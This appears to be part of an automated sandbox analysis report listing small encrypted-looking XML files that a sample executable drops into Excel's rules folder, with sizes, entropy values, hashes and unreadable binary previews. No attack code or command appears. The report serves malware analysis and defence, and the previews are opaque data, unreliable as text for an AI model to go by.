SHA-256:	BD52A86FD198AA9D1E56E4A11A462FA2C938F0029CD0A79E231D1931AF4FA66E
SHA-512:	F060E98220F7E98F88269ED043A5D801D7B45F16292631A5E237050580CAAEC7AE38B6BA1C532864802981F6B3260F77CA8C905594A458BAE5FA2E61B391FEB5
Malicious:	false
Preview:	<?xml.....9+O..]..j..@.....zI...8...!.....]......N+H.M..\.0=. [8!...F.i.........#:.)...\..(]R]..5i.....E.W..o~.g!...,...fc....P..[M..'.}..M.}%O:.......q..8...].h.....]..J.~...@.i.=..s..H%l8.......G. ....6.....%:.J.P.%.`..P........2..;..\|..\. b5U.A......]<..).....%.......g9'..W.....vA..&.5..._.:".Yc.a...'2!}.5...?.........G.{.{R........@F.K......[~...+....s&.....U......U'+K.D..V.Ox....x...7L..Sd..d.Y..(".(h.$P..,..<B"..../@17)....;`....{....B.J..~.x.W.b...:..9.y.W....f..<...`..B-gV#...4.K..b.(...h{&._...@...Q...p.-.z.m!.g.......<"U....w.cH..!..2?l.&.Y...god.T..(Z..b.?....!E.h!.>+.v.+.q.W.e.H;....p....V.{G......z}iy..-...m>4....0..(.....j)@Y.. M..5Ol.}.Lw+.J.(..........hO.r6yxl1GT8iG2X6JaJ1YNnYz19XjwMZnkCEzV04l5{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120667v0.xml

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	741
Entropy (8bit):	7.70224450048598
Encrypted:	false
SSDEEP:	12:fAtjoEmrG8JsprcEWmCD4dPl9DVcMohzfVkNyaO2DzYP5+6pvRuoVixpZacii9a:qjoEj8OYdmCD4RZSfVpc6hiTkbD
MD5:	FB9A6371B07248D087664FAB7BE82DC7
SHA1:	5BFA1EB3657FCCE14280238384B32AEF5DBECB8F
SHA-256:	AFEFF5EF0B9F966CE2EC601F012FB4EE5DD8C20B6866CAA36CBB4A913B4247DD
SHA-512:	E95C36F6355C464D417E243C0B92FDDEB5CC0F940F40455ABFCA218BF2AD26F621959EAA706720A557FF3E0CC35C2EDEBC237A3DFCB79A836BA4ECBE312988E2
Malicious:	false
Preview:	<?xml..6'..~gl..u7... x. 7.Ic.....j..rq.s*v5....T.f....O...C.[......D..o#N....qwk..wW#..r'0."o..........w.....e'~......d.......a......%0.s;s0.:....L...E.+.P!BP.;..r......j.g..j..(A......s..Xp...2o.\_..8.J...}.c.~.ZQE...~.....}.T....{.A.....N\|..R...P....a..1.....@ow..fB.m#.........<,0`....).#.#..t.r.n.+..?.E.....!.....K....7C(.,....G.=.!..~.b.....Xi.J@L...u../9...w...y.3ou.Qz<......8.....\..IN?...x4..y.G$.2..~......w.'.Ypz..Y.e...\.tp<.^.(w#D^U2.Pv.@....-.`......r...~N...>..\(x+G..v...j.4.zp?%...Y'.^.\|..v.....9..Ol...r]9h..:.....:.K)g\|..HS..E......r...3iS.S.?......z7.de\|..o,.Si..Dlo..M^....Y.N."....\..\.,.....n.{...&.k..;.O...N.....r6yxl1GT8iG2X6JaJ1YNnYz19XjwMZnkCEzV04l5{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120668v0.xml

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	802
Entropy (8bit):	7.730754173014296
Encrypted:	false
SSDEEP:	24:HvdGfnK6yThogFbNBUUQsGkp1uWziTkbD:HvdGf+igFbNupfWGiD
MD5:	2C3938016A5EF34E823D830D71A6B570
SHA1:	5471AFF76497CE9B1B7FFD14F3AD9DD3C3DAD77C
SHA-256:	109471262B6FA1B3B5FF838DF0EEC0D785905C5637C1CE83584D7B39B9B3E6F4
SHA-512:	952F25A05975A696B9C606FB58F4EAF8BAD3151F916D42B436E96B28B39803C9FFB52F9427FEEF8726E1FAA5927BA8042628C1E6F112CDAB2AB40C53BC241104
Malicious:	false
Preview:	<?xml...&.7....v.M.E....PA(QU......@`......U......>....+.........3.....[..>sO.%c....2...W.h....}.@PZ.....6..i.gsu...?8...C\.0...).Xk`D...\|....G...&S@.r1.y:5...t.?de...!.-.V8....._._.p...-^...CD.H...v.a...uB.Ssf5....L...Bi.)..?......../[.9........0/....'l.....=......(..".3..v.....cu.!0~.6..t..%.....4m.FI...w....D.s,.N.....^...c..?A."....Zo.zW"...xv.......u......#.v?5.....4...^@....U.......'../..\0...uO.KZ...QW5.}`D../...;......V?..6SG....;...L;5w%"...F.......J..xi.wg.ek.h+='.GO.._,.....;k.'.....?M@{.P...3@..=..<.;.....\|2N.]G.....[..r.8o...@.h..Q..n......d.eG.[...'U.m.s^..ZO.C..y8../....DJv....9..4O.2/..$i....D.).x.q..Uo7qlA.x...O.D...a.?..9...l.8.6,5j...jw$3V D..G_..f.Y...r6yxl1GT8iG2X6JaJ1YNnYz19XjwMZnkCEzV04l5{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120669v0.xml

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	749
Entropy (8bit):	7.6830318139205325
Encrypted:	false
SSDEEP:	12:x/E9wPSDlgu8s6BFgxLQhwmPlFy8qzL9i5W6HmHoVqRt4l1WTDA2b8JEG/ixpZaX:xs9aSD2/mxL2ln+AVHm6qH4Pmez/iTkX
MD5:	1233D7F6297E1FBB71F69143F2803C90
SHA1:	79E509876E1D6ECC2720AB479CCFCF540438FE4D
SHA-256:	8B407C6B24D775BEF269219EE0D251F13C1D4C4BD951A9399D95F37CCA6FAAA8
SHA-512:	81D09E3BB91BB95E38F6314200F59FE974B7EB387C123ED1350F2EB8440A4F72131674315286F05FAF351FAF53892A5AAF0770C6D88F5FD91AF1C876DE7CC18B
Malicious:	false
Preview:	<?xml..\d3...02.9...C....Q..J.+.......d....;..O'W...~KT..4......N_..b6..y....8..j.L.?$.....<{i...\...vT$f.3,.....R.'`...B~..U.8......$..EP.s.qxc...T.+W.....U...}.O.."1......!p:A.CeD....D.....(.3*........q..k.{...M.^..f.......mj.>.3.Ufh.#..`."g$.\.G...4..,.......@...X..9.~...._.4.~..]2.7.N..,. ...../.a.b..B.....rk.~$.H(.._.U..hA{-......"#.a....2Gb...z...z.Y.k........j../...=..b\..os,\4<..V..e;Y......Q....J..07 u[.....)I]..wd.7.,....{d...-..N.A....+...Z..........6....y....Q@?......<.S.{$j...v.....+..q..F+..`..:.&..i....En79......L....c..$.s...:..U....L....fsU.7"l.`.3.r.n]...%z./..T.r....... .......+.%.@..h.,L..66..e.. D..c.n.r6yxl1GT8iG2X6JaJ1YNnYz19XjwMZnkCEzV04l5{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120670v0.xml

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	805
Entropy (8bit):	7.727090881647095
Encrypted:	false
SSDEEP:	12:Ty1Z4HOtRjKjViTlxZ4DyDpbm76hScIhIO9jvjW+PAnKaCeek68pEixpZacii9a:e1ZXRjKj0zq6hScCLadBp1pEiTkbD
MD5:	043B1757C82C0CC3E72A1347DD9A1C41
SHA1:	AE18C29463C0983FF77ED7CAD18F6E8B024807F0
SHA-256:	0AB5B4C2AE6374E6432CF46B4B9643D86385D44E0C2DE53A42C299782A7CF6CA
SHA-512:	11B634DE13B31B6266C7688B5016B620A7FFD566209D0BC60D302C88F839CC4793C6252C80B153D174D218FE460F98AED834B9D9EC20DFAFBB30C0E1D08CDE36
Malicious:	false
Preview:	<?xml..A1..B..g).....1..I.r..e..%..0..`Q..,.~..K.C.V....W.)..i....oU.....p>..#.}.....?...yz.C4...U.cPl.:.g_.~22..V..L..f./..<..`.OA..r`K.x.bSW.Ixb..6.}.".k0.H.pV.$u.R.M..'..%P.#......%.q^.[).....H....sq.H.o.....m.....U.F.Q.<...[}..5\|tr.u./.41......,..=......a....2...........&..f.....L...48...8......c ._....`Y........4.HA..F.k.Q...h..g'.M....Vp..1.w.K...PY/....q......^P"j.r..u....M.-A5.Ar....c..O.U.@..N%g....y.\|..L.1...V.9>...m.J.>.$.;.......B....0.\|.P...".....-r(...J]..T....Z...%...,....C.5..7v.u8...O..^....d_..4.}...^4c.4....Q3.Li...M.w..........4.pi.Z]."K.zCz.m..W."....6...P.....Qs.."3c..7.=..9..\`..\~@.DK..-...O..F.q..r...U.m....f.m=a...'J.."r.~...g..]k..d...0.O......G..~.%\|.}Jx..r6yxl1GT8iG2X6JaJ1YNnYz19XjwMZnkCEzV04l5{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120671v0.xml

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	765
Entropy (8bit):	7.671642469443892
Encrypted:	false
SSDEEP:	12:4h1Jw5aMTD6VcA+/t6+SEiBVbmmzgAXfDuoxv7+CIzRFkPAySqoBJ7VEyTqPIRaD:4h1sK5+16pEiBhmjyDzB+CInkPOPGPPD
MD5:	0239D4226BDC8DA170E8BFFB6363672B
SHA1:	692618C466370B4754E74AFDB16B318626AFB0E1
SHA-256:	E5F96E5D9549EE59A68F1C7EC26E72EE908FB7BF8701A1280772247384904DFE
SHA-512:	B428A6590879374392F0D03458114BEC12E4A5F158DE39C5F85959AC134A07CC528E44DE10ED551390258C3982803DA59385D2DE137CA2E516EB8A16181089AC
Malicious:	false
Preview:	<?xml....j@.8.`p...Q.K..//......!u./^?.......&.D...s.E..@/.%Xk...4..'.R./.X........f...:Z.u.6.b....=...YF...CM....5V@..3.+...)9EZ.J........<.C. ...)..........1..\3."..c./.2Z..2D..&....~...1...OGf..q../\...3..x..U.-.Z..oZ]7 9J$....L....".;....K...j}......r..sE..L/2s........S..KQ.ST+..2\|.gh...M.U."...Dq...........]N-.....S.......D?m."E2../.%.......Q.!..J.du4...lQ..b...3K..L..>.I.t.f.T..Fh2.......#Si.\|...... O.<d..7..V.'.kAE./.)..$\|.t../s...+....f..6.fR..\a...W.<..f....u.~'C.>&N0....l+/.Wc....w...............4Ze..t.......+.......v..%..e..9L.....vUZ.{M.t.....K......Q....x<zL.V.7%0!9.}.J.../3..R.x.d.Z.].J.....YD....9...%.A....r..m.PV6.n....r6yxl1GT8iG2X6JaJ1YNnYz19XjwMZnkCEzV04l5{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120672v0.xml

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	808
Entropy (8bit):	7.688880757207221
Encrypted:	false
SSDEEP:	12:gtRpLdXS3c+tjBQEsFQZ3RQJA81w2Ii8//reoF7wxD04qBOesjnficzPixpZaciD:gt7BOtWpqIpfUCW7wxo44ShPiTkbD
MD5:	E0B0E743DEC6848FC940E7805658CE68
SHA1:	222540D262C0B9B3514C60BC806461CA162977B1
SHA-256:	7FF82214CBAB4F89494213CE074FC4F2F205EC78EEC71023EA97DB9AE6246080
SHA-512:	87E02025098175EC2399F609113EAD63742C69804FA8BA3B1D1905C7D77E801CCDE5D59E8317DB2103D1E3D0261AC77405E5C10F1558F36E701D89F42154216D
Malicious:	false
Preview:	<?xml..=k..Gq{U..\..Y.'Vy2....L\.+...>..v.X....v..l...w.L....y...w..N.z...}mLt..y..L.d+.o~..=W.h.l4.."I...H....nMU."......v....EG.-.$...`<U...w07$..K.....:.=f._..\|..K..B..A .PQ.Px2L...h..,.'O..s....\........W...V>...i._yIa9b.:l...F.......~}..MI....H^#...T'.....8....-......;'..'.x.[......m-H.5&.;.!n.=<[....f.,....q...$I.bg..ov....j. .....Z{.P.......(..5.-C...I.$........D......e..).-...Ky.e..\.p%.E...i..7,..T..".,@:.Ys.vw.I-8B-%....)...87.L.Vl+..i.).........Vo4.f."y.z.Rx._..+.^.r....,`Ev..mr..g..r....)..n..(..`Q.'..F...~....\IH.w..&V....S1.m`.l.........../....#......q.T.i.8Zd.F..a...Z..+..Dg4Z.)..c...vO+..4..Aip..A.-d.,`.N..y.A...7.d-.. 3.....^.....O4.lA.fZ..p...`E.0...:.2..prQbh.3.O.0;.Ur6yxl1GT8iG2X6JaJ1YNnYz19XjwMZnkCEzV04l5{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120673v0.xml

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	760
Entropy (8bit):	7.661723296624
Encrypted:	false
SSDEEP:	12:4EXfckJa3tH1OLc4kCzYRINeDF2FlKzGbRFwmbuhdY+TIaFf8W+ZVJp8iDg7Nstu:4EX0EGkLclAhNeDFIzbPnuzz+ZVJp81l
MD5:	1A93C0B3FAE60CC588D6B32B0D8F8199
SHA1:	687A2821132183A89AB83984C66E02DA5C16B31A
SHA-256:	D211FD4044BD148111758FAFD0278B04CC5953356C964BAD6F427EABF2C97D0F
SHA-512:	E9E9C4E8017CAD59069BCB2CBE3A3B62AFAB78E90DEDD3CFBB8D72E8C48A63C060313E6090E20EEF36DCBB15881BD65B857BB2FF0BF0699BFDFCC12F5F77BA81
Malicious:	false
Preview:	<?xml......P.xP..q...9 ..:...7.O7..nb.....{O.wM.;..i\|..p)o...(..J._<o0.W~..N."...(......7m\|...Z....0.h...._..gP...u..p..$...x\|;...X...#...f....2j....3..}......N...V.......:........za.R.LW6U.R.<...d...)a-.6....#-7;L7T`.p>Ay....#..y.X..Q.T^P....[..w.._V.7a3.U......0y:.`8.#...hc....)v.G./...P}P...H..1UA1.R#D@.....7 ....N..;...q.L..a4Q}.M.-5...S..1Z..r:.G.,.Vb.F..P..gw.~..._x".....c..!..C\|h].....-yN.q&.6..(]./...._f.Z.S...2...fr.....{.T._J2.{.....*.@.......B..p.....\|........".4..5"...n.".y/f...O..?mH.N..{.....r..........z..Sw..i@(.!.......:.......`..V'z.zm$i;.K....L'..f..g.r....;..."..ZU....{...."..gx.rT..\.Y\.t#..DP..9...!.!wB.Q.CP...h..f.#vO..r6yxl1GT8iG2X6JaJ1YNnYz19XjwMZnkCEzV04l5{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120674v0.xml

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	807
Entropy (8bit):	7.7266972879889435
Encrypted:	false
SSDEEP:	24:RcdDzJhjAEUueJ46AfwVJLxVIi0VABYwgzAjRziTkbD:RcdfjA/ue3NVJVV/0sYwgzAjRGiD
MD5:	3542ADDF3A616ADE11C6A82949D57D98
SHA1:	3AB5C502BB31CA68ECC7CCFF163CB2ACC86913D1
SHA-256:	C7CCADAE4EC04BB60C0521A3DBA0B3D3F78079EA53C8468AEB692375E106E19E
SHA-512:	7396268366CA95786208C083B71035680F5D5A300E45CCED2329E2FE737F6B6A2F3F14B1EFD647FCB10E520DBBC367654D13756C6618B3BB165B80B1438A4E26
Malicious:	false
Preview:	<?xml....B...1A.......D...e9.B.yE...B'.D.{j.L.F........._.C~..l..AS..J...5....l....>...3).0t..c.W....M.t.Cj\]...m.{\|.h..'...P.-.RGhAE7...D.z..._.5..D...5\|...T.Yh..P#..$.....tfa.....G@.a.j)J.......S4..\|..Q.Q.rZS-%........:M....Vn?.......^...g....dwU..........Q.6A.F..>.sk:..?.#.`...Y..+....~..[...\Bj.\?..F..?#H`.%...7.)-y'.=.IU.O8..\...1...W...Dv....+L[.OZ.8.. .[..+..6T.!k..wB.$.!....sL.a9#...'"b?Z`.....wt..*.p...S.,.qD..P....5.H_[.JT.3...u.h....H.[.?. T.UM..........ba.......-j8..5.4.!_...f..\|...;@5e..I&......1......#."..G..i.............Y.Y.DU...n. .z~..t...;..e!........$...+.Tg}}..\|..Ox......u..f.FE=nA...dy.,...J...)%/s.v.8.7.......C........f.j..Q....uA.7+.[...8.Mp...P9QH.Ar.r6yxl1GT8iG2X6JaJ1YNnYz19XjwMZnkCEzV04l5{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120675v0.xml

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	752
Entropy (8bit):	7.727757829199725
Encrypted:	false
SSDEEP:	12:muoJPy9sO/O1BxPPoR8lvpIPvxx7BL/MU8I+J6VtWr4DU6sKSGIycMVLm2uOKPG7:mu0aCO/EHo8hgxxFL/6j4oZppyX3uOKs
MD5:	0C004AAF382A15EC1C740D514A5A2BA3
SHA1:	70B782FC4A31AF2A9F4F89B1AA4E77C63F584581
SHA-256:	38F839571211DD94370E06532208BBD1380DD858D9984A1EFD67AF98668792FB
SHA-512:	7C20734C09BB0CA1A6C3F88E5E489E174A880D33B7FAC4B349FFC5B3D09775AFF8F9AD4D8FDFE91D47E01EDAACD95BBB8B112C0C79E9FDFB956107105050243A
Malicious:	false
Preview:	<?xml....:kL. ).P.q.h..#.3.....f.(&.gW-k..Ck$[..J...J......2.,...k.}...}..G.a...9..7p....$...ji\|.....{.Z...$B..M.x....<....l.g..;6.....\;}...]....T..E..F..n.?.8..fK..g..'U..w....!$..m.`bC.+.ID*_Z..D0.U.\|[..%....E^z>.z....+D'h.eV.k.~Gr..uA&....2M.B...Zk.d..%m.".l.9b.C.1...tZ.'M.r..u..i1`-.z.._e<....;E..K.H,$.........?./..z.(.....v.0..5tR@.n.,..>c.+H%.[E..9.~Sn.A......?.^..~.sZ......^....`..qKx.`.y..#tN....v.:......5..a.......6++.)g..%g."...k.].._..x..&..\|...Bc..b..;....@...C.....9. ..t..?w%1.......x+.!..Q(.t..Hyx...n...%.j.c1....WK....K.Z...d/.kv........a.".j....Z...qb.?..=.ZHG.C..#..,.p.....,.(..,....n..o.l!...%x...PI..6S=...4.R]..........r6yxl1GT8iG2X6JaJ1YNnYz19XjwMZnkCEzV04l5{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120676v0.xml

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	805
Entropy (8bit):	7.722422906874313
Encrypted:	false
SSDEEP:	24:AxZESKxyFY+NetdK3G2qE7S5e15JZ6rblj5KKrvocViTkbD:ArE9ya+bR/5JQnzfqiD
MD5:	C55ACAA67EF775498A6BBFD50D35DF25
SHA1:	DEFF15D21AC319AA6DE25F4B196803C810245161
SHA-256:	5D7BE7D1DB072BD92E90D1154479A0AD614C79D490740F00967FA31316E8ADC2
SHA-512:	0A24B840716FB3109405E805D2C978E7CD48937F44D9B8E804F761188D544BCABD0EF18A09A8B4FE14D4D5284A24D33D47452BEAAC3F1865CE1663B2F5BB11BC
Malicious:	false
Preview:	<?xml^.{h...hJ-n.u....pe..&v........Z,.V..!...f........R^.71.x].D....P..V...JS.E.......5vd..9.3b.....s..j.qO.h,.W....\|...p1.?..F.h.......Z^..bg._.K.u$......n.T.i...[i.....R].uy...`.O..)..65..1]I...p}.T{.m[..........ZB-............qd.....E..i)N...[.m.....MbI....i/Nl...C.u.....:`'..H\|.8...."X..k....3.$\|[e..O4u..&.\.D..$B...4..."....D.N1s)g..VK. [_.o.@.]P...2..g....[{...leN...\f..k.......;.u<...d.1........B......lWF.S.gV..Q.5z..^v.)..`..}...-..D..G..r.. ...G..p.m....Ba..0..h)...E+..'..s.T....U..v.]_...........}L...6.n-...f..!.).).m4.y...7...!.`..!.w.9.D.t....U{........e....Q.S.:[4.H\..wk~x..;.t.....Tsg.a.......o...r..2J..;........h.=.[...K....[........).Z/.<.5.A.;...z..gm..h..r6yxl1GT8iG2X6JaJ1YNnYz19XjwMZnkCEzV04l5{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120677v0.xml

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	738
Entropy (8bit):	7.741890137833928
Encrypted:	false
SSDEEP:	12:+s4Rr1z9AkEFy+1w4/hzYDzVR7lJHFpKPReAw0B8gJHNLUzIJexmOjEiixpZaciD:Rohzn+1h8zlxfKAM8ytgzIJJWiTkbD
MD5:	87DDF58D5408AFC9163D00A2ADF4BC91
SHA1:	C46A2ABC71ABDDB698A43C16C878EE6DAA8FC1CB
SHA-256:	323EACA6E978E9962469BD8467E06909F8833186A7C94E6D94E162B86EB9600E
SHA-512:	5E405D37D3EE8D2513C2E98374666A7F439092C3DE3BA3C994BCD9803C7163FC747488985BA37CB4893BED9CC90C2D11B433F382AB388D17CD9B48D5B3A6B6ED
Malicious:	false
Preview:	<?xml..a..L..&..>E.....q..+......y.e......\|.Gr..KY......l.mN...A..~W.....U.:6..."...2..YPe.+. =!H...(.Fe"...e...y......""<...L..i..^..Q..%..v..ld.TF&..I..z..3j.C./ (..Ss.(.a...SQ:.=........R.......^.o.....L..Qe.X.gC."._.!..JS{.....8.....^..I....}....j7.\Z.(F.3..og......4[.@.>...>.T.L.{........23.......P..FX...f..B.y...bA.c{.)jU..W..K.9......\...~.....L.f.`.i.....2........ Z3...^.w.....a....6+Z..Gn..K..Z...........}..6...{x..........4~4EEp.5.t.N$........Ma5..e..../q.:........l!mOeu.s.....x.P..I.i+...4h...$&..?.[.....3.!....................~.P..W...XiNQ.2.C...:~.f.H..H/GW.+H.\|.w.;.=J.j.k.-s.....Ow(..T.O...v.#..<v.V.r6yxl1GT8iG2X6JaJ1YNnYz19XjwMZnkCEzV04l5{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120678v0.xml

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	801
Entropy (8bit):	7.7322937213430345
Encrypted:	false
SSDEEP:	12:1gS7dMfypJ4RYLqODaQZ8H/b9o7hP0c4Jva2r2/HnPDJi2+8F6r3GuD8M5SwEFOU:1gVsKci8B0c4JSBHtZsGnWCksiTkbD
MD5:	1131DC422EE442EF1175773094767A6D
SHA1:	4209991C7DD8B94D8069D996C14918EE5D468BC6
SHA-256:	B7A2B67EB69A963E3BB1FDB17FACF7E6AEDAA31390A0BF86E7273F4588B1408B
SHA-512:	9DDE89F3C82D60E34065E6F655F8D40005739636408F5C591E937E7219D4EDD94E66C938AC53249B5D58502C52232AB2126B16C9CDF583F70A2F0A3F1ACAE121
Malicious:	false
Preview:	<?xml..&...C.{.b\..`a.N...R..f.....U.B.A.,..h~..T....5j..../.hv.y.H.o.8..lev...@/..+..$1C.1Gh[m=....(?...x.'Ov.U.+.kwT...2..{.Zw..Q.j...A......;;.f..m.+.X?.m...Iegi1R.#^.T....M...!..).Z.)...W.`.;...c{....[.R..m.4iH].5B.J5K...gr.z2..3.5...>..9R..vX.L.....T{.rn..\|.J%.Ms..].tO.H^......?fHo..<.)s.%"...^.%.n.< .M....B7c.&...m...fN...V.l8 .....@...fkqlu...s.6....=D...*.Q"...1...]D.1...E[.t.~`..I...o l.1.D.'. '..\|....@...4+..O.N.:.}.J..C.OBk.....$...L._`5...=.)..j.R.\.7..P...x.`.I........m.....8y&...........:........V..\r..;$Xh.\|.,AQ`./.N....0.....r.~..%.VbJ.:I.?."].'.....2...0#D.(.o.-....c@.o.UH.k.Y..a.^.{S..u{....a..\|..$p...p....h...^.].,..}.\v......mkC...8...&.....Y..U.A..~.3G:......]^..S.r6yxl1GT8iG2X6JaJ1YNnYz19XjwMZnkCEzV04l5{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120679v0.xml

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	507
Entropy (8bit):	7.457881918246521
Encrypted:	false
SSDEEP:	12:LBI2VfOQAZN4dcWzKCKpS7Ze+kya6mGLfaMOMYK2ixpZacii9a:1I8kZNqzKFIZnkya6pLfaMmtiTkbD
MD5:	CACF67A714B8294499036CC487CAE7EE
SHA1:	238C4990E8A4C9ECA8A17025E2E647560DA98706
SHA-256:	0333F831C0DDB7083AE712251136B28E956EBA5DBF5B1C5E0B4B5F27B0AC6A70
SHA-512:	EAE7C3EEA875714A07921DA87DF1E32621E031B9197947C115D35B2FCE91EA9AAA68C6845F4F18CDDAE1FE9B7B5EB6FA83704CE771271BB838E03542572AD39E
Malicious:	false
Preview:	<?xml..0.$...N....P^._.t.-W.._.L.i.nL...I.Gn'Vg...r.>.....{S..+$.k.}.`)......c.'=j.>.."..g........hO8.b.Ny{.X&p6..^.@1n.f\|K.5q.g.m..92.q\|...A}...:.'p..9Gz.e.W.4.,.2..r.B.9[..HIJ{K.XB6.PQ..I.h8......7=....}......\|{M.F.-...\H..F7..p...*W._.mBf.J.fbL...:...........Dg,....$.v^l.i.-c....:.G%P+...,u..a.l...5B...&(..\xn.m.f......~n.5..@.<..'..@...!...Sf...?9.H..N.g..o..x.A...F%.B...TX.@.N77.'....P5K...J.q..F.~.r6yxl1GT8iG2X6JaJ1YNnYz19XjwMZnkCEzV04l5{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120680v0.xml

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	2285
Entropy (8bit):	7.914403716278152
Encrypted:	false
SSDEEP:	48:DZpInpQ5rhqMVHKl8sJG/PaNuSeFKiY8z4Hb2PCrXMiD:Djh7HKl8qple5YxHfX
MD5:	48EF9EDA3207433ACB18C78146E7E7DD
SHA1:	813182C8723636FEAD48A274475CA6F373B14541
SHA-256:	532A367D0F3A563CD84AF22421B9FE5D96D7EC5FBC231CDA58CE7C7584851F7D
SHA-512:	0CB08E9C00B4F94AA482E10F2BAAAE49844938058D2DEE9455993DD2DF9D851E4902D7C4D82E81EFA2DCABF34047163043377A1C48A0CDFF7CD9EE183CDB30E0
Malicious:	false
Preview:	<?xml..h.n`.....`>..jR.. ..t.6...b....J....=_A2B.>..?Sd=.W...p8..F.k_b+..~(.Lo..N......G..{.....#...}6...\.....R)?(./}>.Ii...U].}..`.-Wv......a. cc..,...i..........mq..z.W_.\......0U?b.4^l...n.\|.:.&..E?2o.j.w.hx.+...P.R..Z...aS.u@.O....+....I&[.;[.1.......8}.1....c4..?........'..0t..&...-...r..[....c..C\|......<....^.H.0..F/DD...4h.w...Es3U./...ko~I.0m...#....\|.~.Lc.......v..K..U. .Y.zGm..D.>.....?C......"R..B...c...<..D.W.L.AS....+...O.\8...iN..6..@B<a.....x.?D.....4{\|.uv.Ctnrz(.91.9..f..T...?fAe..E.gy..-.(?.....5....F;..5!..(.....T....'..."..]5+..UX.s{..[q..x..,..1.AB=Atk......n5 ..`A....p......x...B"V.....'...=..VG.,}...4....O{.........l...X.vKQ.q.n{:k.J..-..Q..k..p...x./u..x....O.PG..^k...;........'j...v.7B.8......S.... ...Bm.c[...`.'.]<D.3J...C.G..}wH~...r\:.UD.l\.p...B..z@.%\|.B..y-W.I......)Z.....A..0^...{O.J..K..\|)).5.Q...jL.p3...<.19.K.Z....f.87C.........../.....w....'.6.T...a.\....~.e.`.l....Oy.......2...?.#.Ez.O...W^.^....n

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120681v0.xml

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	1291
Entropy (8bit):	7.852532995995688
Encrypted:	false
SSDEEP:	24:aGEwJjAJjPfxN3u2atqv/tIgbYhW0m8o2J2nHVJ1r3XiTkbD:aG7CJ9N3vcqniVhJoAe13yiD
MD5:	291975E944E632C013DFD9E38AF287C4
SHA1:	53620CACD2EC4E29E5059EEEE2A32B7CF1782A98
SHA-256:	129B32CA64A688ACD739251A194EADC3B509C116D22877486A30966CFAC5F051
SHA-512:	D6D19AC830B90DDE28E2A767791D70E662C626437FA507CBF354A45D53AAAFE26DCA583D53ADE05BCE148A98764A8EA4EB6EBB86D2ABF250E97313B72CB694E5
Malicious:	false
